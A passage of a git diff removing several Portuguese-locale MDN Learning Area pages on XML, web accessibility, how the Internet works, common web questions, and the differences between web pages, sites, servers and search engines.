-<p>XML - Linguagem de Marcação Extensível, é uma linguagem de marcação genérica especificada pelo W3C. A indústria de tecnologia de informação (TI) utiliza muitas linguagens com base em XML, tal como as linguagens de descrição de dados.</p>
-
-<p>As <em>tags </em>de XML assemelham-se com as etiquetas de HTML, mas XML é muito mais flexível porque esta deixa os utilizadores definir as suas próprias etiquetas. Deste modo, XML atua como uma linguagem meta—que é, esta pode ser utilizada para definir outras linguagens, tais como {{Glossary("RSS")}}. além disso, HTML é uma linguagem de apresentação, enquanto XML é uma linguagem de descrição de dados. Isto significa, que XML tem aplicações muito mais amplas do que apenas a Web. Por exemplo, os serviços da Web podem utilizar XML para trocar pedidos e respostas.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Introducao_a_XML">Introdução a XML</a></li>
-</ul>
diff --git a/files/pt-pt/learn/accessibility/index.html b/files/pt-pt/learn/accessibility/index.html
deleted file mode 100644
index 77403afbb0..0000000000
--- a/files/pt-pt/learn/accessibility/index.html
+++ /dev/null
@@ -1,87 +0,0 @@
----
-title: Acessibilidade
-slug: Learn/Accessibility
-tags:
- - ARIA
- - Acessibilidade
- - Aprender
- - Artigos
- - CSS
- - CodingScripting
- - HTML
- - JavaScript
- - Landing
- - Principiantes
- - modulo
-translation_of: Learn/Accessibility
-original_slug: Learn/Acessibilidade
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">Aprender um pouco de HTML, CSS e JavaScript é útil se quiser tornar-se em um desenvolvedor da <em>web</em>, mas o seu conhecimento precisa de ir mais além do que apenas utilizar as tecnologias - precisa de as utilizar com responsabilidade para maximizar o público dos seus sites da <em>web</em> e não impedir que as utilizem. Para conseguir isso, precisa de aderir às melhores práticas gerais (que são demonstradas através dos tópicos de <a href="/pt-PT/docs/Learn/HTML">HTML</a>, <a href="/pt-PT/docs/Learn/CSS">CSS</a>, e <a href="/pt-PT/docs/Learn/JavaScript">JavaScript</a>), efetuar <a href="/pt-PT/docs/Learn/Tools_and_testing/Teste_cruzado_de_navegador">teste cruzado de navegador</a>, e considerar a acessibilidade desde o início. Neste módulo, nós iremos abordar o último em detalhes.</p>
-
-<h2 id="Sumario">Sumario</h2>
-
-<p>Quando um <em>site</em> é descrito como "acessível", isto significa que um utilizador pode aceder e interagir com todas as funções e conteúdo, sem preocupação de qual o modo que ele acede à <em>web</em> — inclusive e especialmente utilizadores com dificuldades físicas ou mentais.</p>
-
-<ul>
- <li><em>Sites</em> devem ser acessíveis a utilizadores de teclado, rato, e ecrãs <em>touch</em>, e qualquer outra forma que um utilizador aceda à <em>web</em>, incluindo leitores de ecrãs e assistentes de voz como a Alexa e a Google Home.</li>
- <li>Aplicações devem ser compreendidas e manuseáveis por pessoas com problemas auditórios, visuais, físicos, ou de habilidade cognitiva.</li>
- <li><em>Sites</em> não devem causar dano; funções da <em>web</em>, como movimento, podem causar dores de cabeça ou ataques epiléticos.</li>
-</ul>
-
-<p><strong>Como padrão, HTML é acessível, se utilizado corretamente.</strong> Acessibilidade <em>web</em> envolve certificar que o conteúdo continua acessível, indiferente de quem ou como se acede à <em>web</em>.</p>
-
-<p>O <em>Firefox Accessibility Inspector</em> (Inspetor de Acessibilidade Firefox) é uma ferramenta muito útil para verificar problemas de acessibilidade em páginas <em>web</em>. O seguinte vídeo oferece uma boa introdução:</p>
-
-<p>{{EmbedYouTube("7mqqgIxX_NU")}}</p>
-
-<div class="callout">
-<h3 id="Procura_ser_um_programador_de_web_front-end">Procura ser um programador de <em>web front-end</em>?</h3>
-
-<p>Nos construimos um curso que inclui toda a informação essencial que precisa para atingir o seu objetivo.</p>
-
-<p><a class="cta primary" href="https://wiki.developer.mozilla.org/docs/Learn/Front-end_web_developer">Começar a Aprender</a></p>
-</div>
-
-<h2 id="Pré-requisitos">Pré-requisitos</h2>
-
-<p>Para aproveitar este modulo ao máximo, é boa ideia estudar os primeiros dois módulos dos tópicos <a href="/pt-PT/docs/Learn/HTML">HTML</a>, <a href="/pt-PT/docs/Learn/CSS">CSS</a>, e <a href="/pt-PT/docs/Learn/JavaScript">JavaScript</a>, ou até melhor, estudar as partes relevantes do modulo de acessibilidade enquanto estuda os tópicos de tecnologia relacionados.</p>
-
-<div class="note">
-<p><strong>Nota</strong>: Se estiver a trabalhar num computador / tablete / outro dispositivo onde não tem a habilidade de criar os seus próprios ficheiros, pode tentar a maioria dos exemplos de código num IDE <em>online</em> como <a href="http://jsbin.com/">JSBin</a> ou <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
-</div>
-
-<h2 id="Guias">Guias</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">O que é acessibilidade?</a></dt>
- <dd>Este artigo começa o módulo a definir o que acessibilidade — isto inclui quais os grupos que se tem de considerar e porquê, que ferramentas pessoas usam para aceder à <em>web</em> e como podemos fazer com que acessibilidade seja parte do nosso processo de desenvolvimento da <em>web</em>.</dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/HTML">HTML: Uma boa base para acessibilidade</a></dt>
- <dd>Uma grande parte de conteúdo da <em>web</em> pode ser feito acessível ao usar os elementos corretos de HTML para os seus usos próprios. Este artigo dá uma vista aprofundada a como HTML pode ser utilizado para certificar a acessibilidade máxima.</dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/CSS_and_JavaScript">Melhores práticas de CSS e JavaScript</a></dt>
- <dd>CSS e JavaScript, quando usados corretamente, também têm o potencial de oferecer expriencias da web acessiveis, mas se mal utilizadas podem prejudicar significativamente a acessibilidade. Este artigo descreve algumas das melhores práticas de CSS e JavaScript que devem ser consideradas para garantir que mesmo conteúdos complexos sejam o mais acessíveis possível.</dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/WAI-ARIA_basics">Básicos de WAI-ARIA</a></dt>
- <dd>
- <p>No seguimento do artigo anterior, por vezes é difícil criar controlos complexos da interface que envolvem HTML não semântico e conteúdos dinâmicos atualizados em JavaScript. WAI-ARIA é uma tecnologia que pode ajudar com tais problemas, acrescentando semântica que os navegadores e tecnologias de assistência podem reconhecer e utilizar para que os utilizadores saibam o que se está a passar. Aqui mostraremos como utilizá-la a um nível básico para melhorar a acessibilidade.</p>
- </dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/Multimedia">Acessibilidade em multimédia</a></dt>
- <dd>Outra categoria de conteúdos que pode criar problemas de acessibilidade é a multimédia — os conteúdos de vídeo, áudio e imagem precisam de receber alternativas textuais adequadas, para que possam ser compreendidos pelas tecnologias de assistência e pelos seus utilizadores. Este artigo mostra como.</dd>
- <dt><a href="/en-US/docs/Learn/Accessibility/Mobile">Acessibilidade em moveis</a></dt>
- <dd>Com o acesso à <em>web</em> em dispositivos móveis a ser tão popular, e com plataformas populares como o iOS e o Android a terem ferramentas de acessibilidade completas, é importante considerar a acessibilidade do seu conteúdo <em>web</em> nestas plataformas.  Este artigo analisa as considerações de acessibilidade específicas para dispositivos móveis.</dd>
-</dl>
-
-<h2 id="Avaliações">Avaliações</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Learn/Accessibility/Accessibility_troubleshooting"><em>Troubleshooting</em> de Acessibilidade</a></dt>
- <dd>Na avaliação para este modulo, nos apresentamos um site simples com uns problemas de acessibilidade que tem de diagonisar e resolver.</dd>
-</dl>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li><a href="https://egghead.io/courses/start-building-accessible-web-applications-today">Start Building Accessible Web Applications Today</a> — uma exelente serie de tuturiais pela Marcy Sutton.</li>
- <li><a href="https://dequeuniversity.com/resources/">Recursos da Universidade de Deque</a> — inclui exemplos de código, referencias para leitores de ecras, e outros recursos uteis.</li>
- <li><a href="http://webaim.org/resources/">Recursos da WebAIM</a> — inclui guias, <em>checklists</em>, ferramentas, e mais.</li>
-</ul>
diff --git a/files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html b/files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html
deleted file mode 100644
index 1eddf3b641..0000000000
--- a/files/pt-pt/learn/common_questions/how_does_the_internet_work/index.html
+++ /dev/null
@@ -1,101 +0,0 @@
----
-title: Como funciona Internet?
-slug: Learn/Common_questions/How_does_the_Internet_work
-tags:
- - Mecânica da Web
- - Principiante
- - Tutorial
-translation_of: Learn/Common_questions/How_does_the_Internet_work
-original_slug: Learn/Questoes_comuns/Como_funciona_a_Internet
----
-<div>{{LearnSidebar}}</div>
-
-<div class="summary">
-<p>This article discusses what the Internet is and how it works.</p>
-</div>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Prerequisites:</th>
- <td>None, but we encourage you to read the <a href="/en-US/docs/Learn/Thinking_before_coding">Article on setting project goals</a> first</td>
- </tr>
- <tr>
- <th scope="row">Objective:</th>
- <td>You will learn the basics of the technical infrastructure of the Web and the difference between Internet and the Web.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>The <strong>Internet</strong> is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together.</p>
-
-<p><a href="https://en.wikipedia.org/wiki/Internet#History" rel="external">The history of the Internet is somewhat obscure</a>. It began in the 1960s as a US-army-funded research project, then evolved into a public infrastructure in the 1980s with the support of many public universities and private companies. The various technologies that support the Internet have evolved over time, but the way it works hasn't changed that much: Internet is a way to connect computers all together and ensure that, whatever happens, they find a way to stay connected.</p>
-
-<h2 id="Active_Learning">Active Learning</h2>
-
-<ul>
- <li><a href="https://www.youtube.com/watch?v=7_LPdttKXPc" rel="external">How the internet Works in 5 minutes</a>: A 5 minute video to understand the very basics of Internet by Aaron Titus.</li>
- <li><a href="https://www.youtube.com/watch?v=x3c1ih2NJEg">How does the Internet work?</a> Detailed well visualized 8 minute video.</li>
-</ul>
-
-<h2 id="Deeper_dive">Deeper dive</h2>
-
-<h3 id="A_simple_network">A simple network</h3>
-
-<p>When two computers need to communicate, you have to link them, either physically (usually with an <a href="http://en.wikipedia.org/wiki/Ethernet_crossover_cable" rel="external">Ethernet cable</a>) or wirelessly (for example with <a href="http://en.wikipedia.org/wiki/WiFi" rel="external">WiFi</a> or <a href="http://en.wikipedia.org/wiki/Bluetooth" rel="external">Bluetooth</a> systems). All modern computers can sustain any of those connections.</p>
-
-<div class="note">
-<p><strong>Note:</strong> For the rest of this article, we will only talk about physical cables, but wireless networks work the same.</p>
-</div>
-
-<p><img alt="Two computers linked together" src="https://mdn.mozillademos.org/files/8441/internet-schema-1.png" style="height: 152px; width: 600px;"></p>
-
-<p>Such a network is not limited to two computers. You can connect as many computers as you wish. But it gets complicated quickly. If you're trying to connect, say, ten computers, you need 45 cables, with nine plugs per computer!</p>
-
-<p><img alt="Ten computers all together" src="https://mdn.mozillademos.org/files/8443/internet-schema-2.png" style="height: 576px; width: 600px;"></p>
-
-<p>To solve this problem, each computer on a network is connected to a special tiny computer called a <em>router</em>. This <em>router</em> has only one job: like a signaler at a railway station, it makes sure that a message sent from a given computer arrives at the right destination computer. To send a message to computer B, computer A must send the message to the router, which in turn forwards the message to computer B and makes sure the message is not delivered to computer C.</p>
-
-<p>Once we add a router to the system, our network of 10 computers only requires 10 cables: a single plug for each computer and a router with 10 plugs.</p>
-
-<p><img alt="Ten computers with a router" src="https://mdn.mozillademos.org/files/8445/internet-schema-3.png" style="height: 576px; width: 600px;"></p>
-
-<h3 id="A_rede_das_redes">A rede das redes</h3>
-
-<p>So far so good. But what about connecting hundreds, thousands, billions of computers? Of course a single <em>router</em> can't scale that far, but, if you read carefully, we said that a <em>router</em> is a computer like any other, so what keeps us from connecting two <em>routers</em> together? Nothing, so let's do that.</p>
-
-<p><img alt="Two routers linked together" src="https://mdn.mozillademos.org/files/8447/internet-schema-4.png"></p>
-
-<p>By connecting computers to routers, then routers to routers, we are able to scale infinitely.</p>
-
-<p><img alt="Routers linked to routers" src="https://mdn.mozillademos.org/files/8449/internet-schema-5.png" style="height: 563px; width: 600px;"></p>
-
-<p>Such a network comes very close to what we call the Internet, but we're missing something. We built that network for our own purposes. There are other networks out there: your friends, your neighbors, anyone can have their own network of computers. But it's not really possible to set cables up between your house and the rest of the world, so how can you handle this? Well, there are already cables linked to your house, for example, electric power and telephone. The telephone infrastructure already connects your house with anyone in the world so it is the perfect wire we need. To connect our network to the telephone infrastructure, we need a special piece of equipment called a <em>modem</em>. This <em>modem</em> turns the information from our network into information manageable by the telephone infrastructure and vice versa.</p>
-
-<p><img alt="A router linked to a modem" src="https://mdn.mozillademos.org/files/8451/internet-schema-6.png" style="height: 340px; width: 600px;"></p>
-
-<p>So we are connected to the telephone infrastructure. The next step is to send the messages from our network to the network we want to reach. To do that, we will connect our network to an Internet Service Provider (ISP). An ISP is a company that manages some special <em>routers</em> that are all linked together and can also access other ISPs' routers. So the message from our network is carried through the network of ISP networks to the destination network. The Internet consists of this whole infrastructure of networks.</p>
-
-<p><img alt="Full Internet stack" src="https://mdn.mozillademos.org/files/8453/internet-schema-7.png" style="height: 1293px; width: 340px;"></p>
-
-<h3 id="Encontrar_computadores">Encontrar computadores</h3>
-
-<p>If you want to send a message to a computer, you have to specify which one. Thus any computer linked to a network has a unique address that identifies it, called an "IP address" (where IP stands for <em>Internet Protocol</em>). It's an address made of a series of four numbers separated by dots, for example: <code>192.168.2.10</code>.</p>
-
-<p>That's perfectly fine for computers, but we human beings have a hard time remembering that sort of address. To make things easier, we can alias an IP address with a human readable name called a <em>domain name</em>. For example (at the time of writing; IP addresses can change) <code>google.com</code> is the domain name used on top of the IP address <code>173.194.121.32</code>. So using the domain name is the easiest way for us to reach a computer over the Internet.</p>
-
-<p><img alt="Show how a domain name can alias an IP address" src="https://mdn.mozillademos.org/files/8405/dns-ip.png" style="height: 160px; width: 330px;"></p>
-
-<h3 id="Internet_e_a_Web">Internet e a Web</h3>
-
-<p>As you might notice, when we browse the Web with a Web browser, we usually use the domain name to reach a website. Does that mean the Internet and the Web are the same thing? It's not that simple. As we saw, the Internet is a technical infrastructure which allows billions of computers to be connected all together. Among those computers, some computers (called <em>Web servers</em>) can send messages intelligible to web browsers. The <em>Internet</em> is an infrastructure, whereas the <em>Web</em> is a service built on top of the infrastructure. It is worth noting there are several other services built on top of the Internet, such as email and {{Glossary("IRC")}}.</p>
-
-<h2 id="Passos_seguintes">Passos seguintes</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn/Comecar_com_a_Web/Como_funciona_a_Web">Como funciona a Web</a></li>
- <li><a href="/pt-PT/docs/Learn/Questoes_comuns/Qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa">Compreender a diferença entre uma página da Web, um <em>site</em> da Web, um servidor da Web e um mecanismo de pesquisa</a></li>
- <li><a href="/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_nome_de_dominio">Compreender os nomes de domínio</a></li>
-</ul>
diff --git a/files/pt-pt/learn/common_questions/index.html b/files/pt-pt/learn/common_questions/index.html
deleted file mode 100644
index 23788a5fd7..0000000000
--- a/files/pt-pt/learn/common_questions/index.html
+++ /dev/null
@@ -1,132 +0,0 @@
----
-title: Questões Comuns
-slug: Learn/Common_questions
-translation_of: Learn/Common_questions
-original_slug: Learn/Questoes_comuns
----
-<div>{{LearnSidebar}}</div>
-
-<p class="summary">This section of the Learning Area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g. the <a href="/en-US/docs/Learn/HTML">HTML</a> or <a href="/en-US/docs/Learn/CSS">CSS</a> learning articles.) These articles are designed to work on their own.</p>
-
-<h2 id="Como_é_que_a_Web_funciona">Como é que a Web funciona</h2>
-
-<p>This section covers web mechanics —questions relating to general knowledge of the Web ecosystem and how it works.</p>
-
-<dl>
- <dt>
- <h3 id="Como_é_que_a_Internet_funciona"><a href="/en-US/docs/Learn/Common_questions/How_does_the_Internet_work">Como é que a Internet funciona?</a></h3>
- </dt>
- <dd>The <strong>Internet</strong> is the backbone of the Web, the technical infrastructure that makes the Web possible. At its most basic, the Internet is a large network of computers which communicate all together. This article discusses how it works, at a basic level.</dd>
- <dt>
- <h3 id="Qual_é_a_diferença_entre_página_da_Web_site_da_Web_servidor_da_Web_e_motor_de_pesquisa"><a href="/en-US/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines">Qual é a diferença entre página da Web, site da Web, servidor da Web, e motor de pesquisa?</a></h3>
- </dt>
- <dd>In this article we describe various web-related concepts: webpages, websites, web servers, and search engines. These terms are often confused by newcomers to the Web, or are incorrectly used. Let's learn what they each mean!</dd>
- <dt>
- <h3 id="O_que_é_um_URL"><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">O que é um URL?</a></h3>
- </dt>
- <dd>With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, URL is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.</dd>
- <dt>
- <h3 id="O_que_é_um_nome_de_domínio"><a href="/en-US/docs/Learn/Common_questions/What_is_a_domain_name">O que é um nome de domínio?</a></h3>
- </dt>
- <dd>Domain names are a key part of the Internet infrastructure. They provide a human-readable address for any web server available on the Internet.</dd>
- <dt>
- <h3 id="O_que_é_um_servidor_da_Web"><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">O que é um servidor da Web?</a></h3>
- </dt>
- <dd>The term "Web server" can refer to the hardware or software that serves web sites to clients across the Web — or both of them working together. In this article we go over how web servers work, and why they're important.</dd>
- <dt>
- <h3 id="O_que_são_hiperligações"><a href="/en-US/docs/Learn/Common_questions/What_are_hyperlinks">O que são hiper</a><a href="/en-US/docs/Learn/Common_questions/What_are_hyperlinks">ligações?</a></h3>
- </dt>
- <dd>In this article, we'll go over what hyperlinks are and why they matter.</dd>
-</dl>
-
-<h2 id="Ferramentas_e_configuração">Ferramentas e configuração</h2>
-
-<p>Questions related to the tools/software you can use to build websites.</p>
-
-<dl>
- <dt>
- <h3 id="How_much_does_it_cost_to_do_something_on_the_Web"><a href="/en-US/docs/Learn/Common_questions/How_much_does_it_cost">How much does it cost to do something on the Web?</a></h3>
- </dt>
- <dd>When you're launching a website, you may spend nothing or your costs may go through the roof. In this article we discuss how much everything costs and what you get for what you pay (or don't pay).</dd>
- <dt>
- <h3 id="What_software_do_I_need_to_build_a_website"><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a></h3>
- </dt>
- <dd>In this article we explain which software components you need when you're editing, uploading, or viewing a website.</dd>
- <dt>
- <h3 id="What_text_editors_are_available"><a href="/en-US/docs/Learn/Common_questions/Available_text_editors">What text editors are available?</a></h3>
- </dt>
- <dd>In this article we highlight some things to think about when choosing and installing a text editor for web development.</dd>
- <dt>
- <h3 id="How_do_I_set_up_a_basic_working_environment"><a href="/en-US/docs/Learn/Common_questions/Set_up_a_basic_working_environment">How do I set up a basic working environment?</a></h3>
- </dt>
- <dd>When working on a web project, you'll want to test it locally before you show it to the world. Some types of code require a server to test, and in this article we'll show you how to set one up. We'll also cover how to put a scalable structure in place so that your files stay organized even when your project gets big.</dd>
- <dt>
- <h3 id="What_are_browser_developer_tools"><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools?</a></h3>
- </dt>
- <dd>Every browser features a set of devtools for debugging HTML, CSS, and other web code. This article explains how to use the basic functions of your browser's devtools.</dd>
- <dt>
- <h3 id="How_do_you_make_sure_your_website_works_properly"><a href="/en-US/docs/Learn/Common_questions/Checking_that_your_web_site_is_working_properly">How do you make sure your website works properly?</a></h3>
- </dt>
- <dd>So you've published your website online — very good! But are you sure it works properly? This article provides some basic troubleshooting steps.</dd>
- <dt>
- <h3 id="How_do_you_set_up_a_local_testing_server"><a href="/en-US/docs/Learn/Common_questions/set_up_a_local_testing_server">How do you set up a local testing server?</a></h3>
- </dt>
- <dd>
- <div>
- <p>This article explains how to set up a simple local testing server on your machine, and the basics of how to use it.</p>
- </div>
- </dd>
- <dt>
- <h3 id="How_do_you_upload_files_to_a_web_server"><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a></h3>
- </dt>
- <dd>This article shows how to publish your site online with <a class="glossaryLink" href="https://developer.mozilla.org/en-US/docs/Glossary/FTP" title="FTP: FTP (File Transfer Protocol) is the standard network protocol for transferring files from one host to another over the Internet through TCP.">FTP</a> tools — one fo the most common ways to get a website online so others can access it from their computers.</dd>
- <dt>
- <h3 id="How_do_I_use_GitHub_Pages"><a href="/en-US/docs/Learn/Common_questions/Using_GitHub_Pages">How do I use GitHub Pages?</a></h3>
- </dt>
- <dd>This article provides a basic guide to publishing content using GitHub's gh-pages feature.</dd>
- <dt>
- <h3 id="How_do_you_host_your_website_on_Google_App_Engine"><a href="/en-US/Learn/Common_questions/How_do_you_host_your_website_on_Google_App_Engine">How do you host your website on Google App Engine?</a></h3>
- </dt>
- <dd>Looking for a place to host your website? Here's a step-by-step guide to hosting your website on Google App Engine.</dd>
- <dt>
- <h3 id="What_tools_are_available_to_debug_and_improve_website_performance"><a href="/en-US/docs/Tools/Performance">What tools are available to debug and improve website performance?</a></h3>
- </dt>
- <dd>This set of articles shows you how to use the Developer Tools in Firefox to debug and improve performance of your website, using the tools to check the memory usage, the JavaScript call tree, the amount of DOM nodes being rendered, and more.</dd>
-</dl>
-
-<h2 id="Desenho_e_acessibilidade">Desenho e acessibilidade</h2>
-
-<p>This section lists questions related to aesthetics, page structure, accessibility techniques, etc.</p>
-
-<dl>
- <dt>
- <h3 id="How_do_I_start_to_design_my_website"><a href="/en-US/docs/Learn/Common_questions/Thinking_before_coding">How do I start to design my website?</a></h3>
- </dt>
- <dd>This article covers the all-important first step of every project: define what you want to accomplish with it.</dd>
- <dt>
- <h3 id="What_do_common_web_layouts_contain"><a href="/en-US/docs/Learn/Common_questions/Common_web_layouts">What do common web layouts contain?</a></h3>
- </dt>
- <dd>When designing pages for your website, it's good to have an idea of the most common layouts. This article runs thorugh some typical web layouts, looking at the parts that make up each one.</dd>
- <dt>
- <h3 id="What_is_accessibility"><a href="/en-US/docs/Learn/Common_questions/What_is_accessibility">What is accessibility?</a></h3>
- </dt>
- <dd>This article introduces the basic concepts behind web accessibility.</dd>
- <dt>
- <h3 id="How_can_we_design_for_all_types_of_users"><a href="/en-US/docs/Learn/Common_questions/Design_for_all_types_of_users">How can we design for all types of users?</a></h3>
- </dt>
- <dd>This article provides basic techniques to help you design websites for any kind of user — quick accessibility wins, and other such things.</dd>
- <dt>
- <h3 id="What_HTML_features_promote_accessibility"><a href="/en-US/docs/Learn/Common_questions/HTML_features_for_accessibility">What HTML features promote accessibility?</a></h3>
- </dt>
- <dd>This article describes specific features of HTML that can be used to make a web page more accessible to people with different disabilities.</dd>
-</dl>
-
-<h2 id="Questões_sobre_HTML_CSS_e_JavaScript">Questões sobre HTML, CSS e JavaScript</h2>
-
-<p>Para soluções comuns para problemas de HTML/CSS/JavaScript, tente os seguintes artigos:</p>
-
-<ul>
- <li><a href="https://developer.mozilla.org/pt-PT/docs/Learn/HTML/Como">Utilize HTML para resolver problemas comuns</a></li>
- <li><a href="/en-US/docs/Learn/CSS/Howto">Utilize CSS para </a><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto">resolver problemas comun</a><a href="/en-US/docs/Learn/CSS/Howto">s</a></li>
- <li><a href="/en-US/docs/Learn/JavaScript/Howto">Utilize JavaScript para </a><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Howto">resolver problemas comun</a><a href="/en-US/docs/Learn/JavaScript/Howto">s</a></li>
-</ul>
diff --git a/files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html b/files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html
deleted file mode 100644
index ba4db13d68..0000000000
--- a/files/pt-pt/learn/common_questions/pages_sites_servers_and_search_engines/index.html
+++ /dev/null
@@ -1,123 +0,0 @@
----
-title: >-
- Qual é a diferença entre página da Web, site da Web, servidor da Web e
- mecanismo de pesquisa?
-slug: Learn/Common_questions/Pages_sites_servers_and_search_engines
-tags:
- - Mecânica da Web
- - Principiante
-translation_of: Learn/Common_questions/Pages_sites_servers_and_search_engines
-original_slug: >-
- Learn/Questoes_comuns/Qual_e_a_diferenca_entre_pagina_site_servidor_da_web_e_mecanismo_pesquisa
----
-<div class="summary">
-<p><span class="seoSummary">In this article, we describe various web-related concepts: web pages, websites, web servers, and search engines. These terms are often confused by newcomers to the web or are incorrectly used. Let's learn what they each mean!</span></p>
-</div>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Prerequisites:</th>
- <td>You should know <a href="/en-US/docs/Learn/Common_questions/How_does_the_Internet_work">how the Internet works</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objective:</th>
- <td>Be able to describe the differences between a web page, a website, a web server, and a search engine.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>As with any area of knowledge, the web comes with a lot of jargon. Don't worry, we won't overwhelm you with all of it (we have a <a href="/en-US/docs/Glossary">glossary</a> if you're curious). However, there are a few basic terms you need to understand at the outset, since you'll hear these expressions all the time as you read on. It's easy to confuse these terms sometimes since they refer to related but different functionalities. In fact, you'll sometimes see these terms misused in news reports and elsewhere, so getting them mixed up is understandable!</p>
-
-<p>We'll cover these terms and technologies in more detail as we explore further, but these quick definitions will be a great start for you:</p>
-
-<dl>
- <dt>web page</dt>
- <dd>A document which can be displayed in a web browser such as Firefox, Google Chrome, Opera, Microsoft Internet Explorer or Edge, or Apple's Safari. These are also often called just "pages."</dd>
- <dt>website</dt>
- <dd>A collection of web pages which are grouped together and usually connected together in various ways. Often called a "web site" or simply a "site."</dd>
- <dt>web server</dt>
- <dd>A computer that hosts a website on the Internet.</dd>
- <dt>search engine</dt>
- <dd>A web service that helps you find other web pages, such as Google, Bing, Yahoo, or DuckDuckGo. Search engines are normally accessed through a web browser (e.g. you can perform search engine searches directly in the address bar of Firefox, Chrome, etc.) or through a web page (e.g. <a href="https://www.bing.com/">bing.com</a> or <a href="https://duckduckgo.com/">duckduckgo.com</a>).</dd>
-</dl>
-
-<p>Let's look at a simple analogy — a public library. This is what you would generally do when visiting a library:</p>
-
-<ol>
- <li>Find a search index and look for the title of the book you want.</li>
- <li>Make a note of the catalog number of the book.</li>
- <li>Go to the particular section containing the book, find the right catalog number, and get the book.</li>
-</ol>
-
-<p>Let's compare the library with a web server:</p>
-
-<ul>
- <li>The library is like a web server. It has several sections, which is similar to a web server hosting multiple websites.</li>
- <li>The different sections (science, math, history, etc.) in the library are like websites. Each section is like a unique website (two sections do not contain same books).</li>
- <li>The books in each section are like webpages. One website may have several webpages, e.g., the Science section (the website) will have books on heat, sound, thermodynamics, statics, etc. (the webpages). Webpages can each be found at a unique location (URL).</li>
- <li>The search index is like the search engine. Each book has its own unique location in the library (two books cannot be kept at the same place) which is specified by the catalog number.</li>
-</ul>
-
-<h2 id="Active_learning">Active learning</h2>
-
-<p><em>There is no active learning available yet. <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
-
-<h2 id="Deeper_dive">Deeper dive</h2>
-
-<p>So, let's dig deeper into how those four terms are related and why they are sometimes confused with each other.</p>
-
-<h3 id="Página_da_Web">Página da Web</h3>
-
-<p>A <strong>web page</strong> is a simple document displayable by a {{Glossary("browser")}}. Such documents are written in the {{Glossary("HTML")}} language (which we look into in more detail in <a href="/en-US/docs/Web/HTML">other articles</a>). A web page can embed a variety of different types of resources such as:</p>
-
-<ul>
- <li><em>style information</em> — controlling a page's look-and-feel</li>
- <li><em>scripts</em> — which add interactivity to the page</li>
- <li><em>media</em> — images, sounds, and videos.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note: </strong>Browsers can also display other documents such as {{Glossary("PDF")}} files or images, but the term <strong>web page</strong> specifically refers to HTML documents. Otherwise, we only use the term <strong>document</strong>.</p>
-</div>
-
-<p>All web pages available on the web are reachable through a unique address. To access a page, just type its address in your browser address bar:</p>
-
-<p style="text-align: center;"><img alt="Example of a web page address in the browser address bar" src="https://mdn.mozillademos.org/files/8529/web-page.jpg" style="height: 239px; width: 650px;"></p>
-
-<h3 id="Sites_da_Web">Sites da Web</h3>
-
-<p>A <em>website</em> is a collection of linked web pages (plus their associated resources) that share a unique domain name. Each web page of a given website provides explicit links—most of the time in the form of clickable portion of text—that allow the user to move from one page of the website to another.</p>
-
-<p>To access a website, type its domain name in your browser address bar, and the browser will display the website's main web page, or <em>homepage </em>(casually referred as "the home"):</p>
-
-<p><img alt="Example of a web site domain name in the browser address bar" src="https://mdn.mozillademos.org/files/8531/web-site.jpg" style="display: block; height: 365px; margin: 0px auto; width: 650px;"></p>
-
-<p>The ideas of a <em>web page</em> and a <em>website</em> are especially easy to confuse for a <em>website</em> that contains only one <em>web page.</em> Such a website is sometimes called a <em>single-page website.</em></p>
-
-<h3 id="Servidor_da_Web">Servidor da Web</h3>
-
-<p>A <em>web server</em> is a computer hosting one or more <em>websites</em>. "Hosting" means that all the <em>web pages </em> and their supporting files are available on that computer. The <em>web server</em> will send any <em>web page</em> from the <em>website</em> it is hosting to any user's browser, per user request.</p>
-
-<p>Don't confuse <em>websites</em> and <em>web servers</em>. For example, if you hear someone say, "My website is not responding", it actually means that the <em>web server</em> is not responding and therefore the <em>website</em> is not available. More importantly, since a web server can host multiple websites, the term <em>web server</em> is never used to designate a website, as it could cause great confusion. In our previous example, if we said, "My web server is not responding", it means that multiple websites on that web server are not available.</p>
-
-<h3 id="Mecanismo_de_Pesquisa">Mecanismo de Pesquisa</h3>
-
-<p>Search engines are a common source of confusion on the web. A search engine is a special kind of website that helps users find web pages from <em>other</em> websites.</p>
-
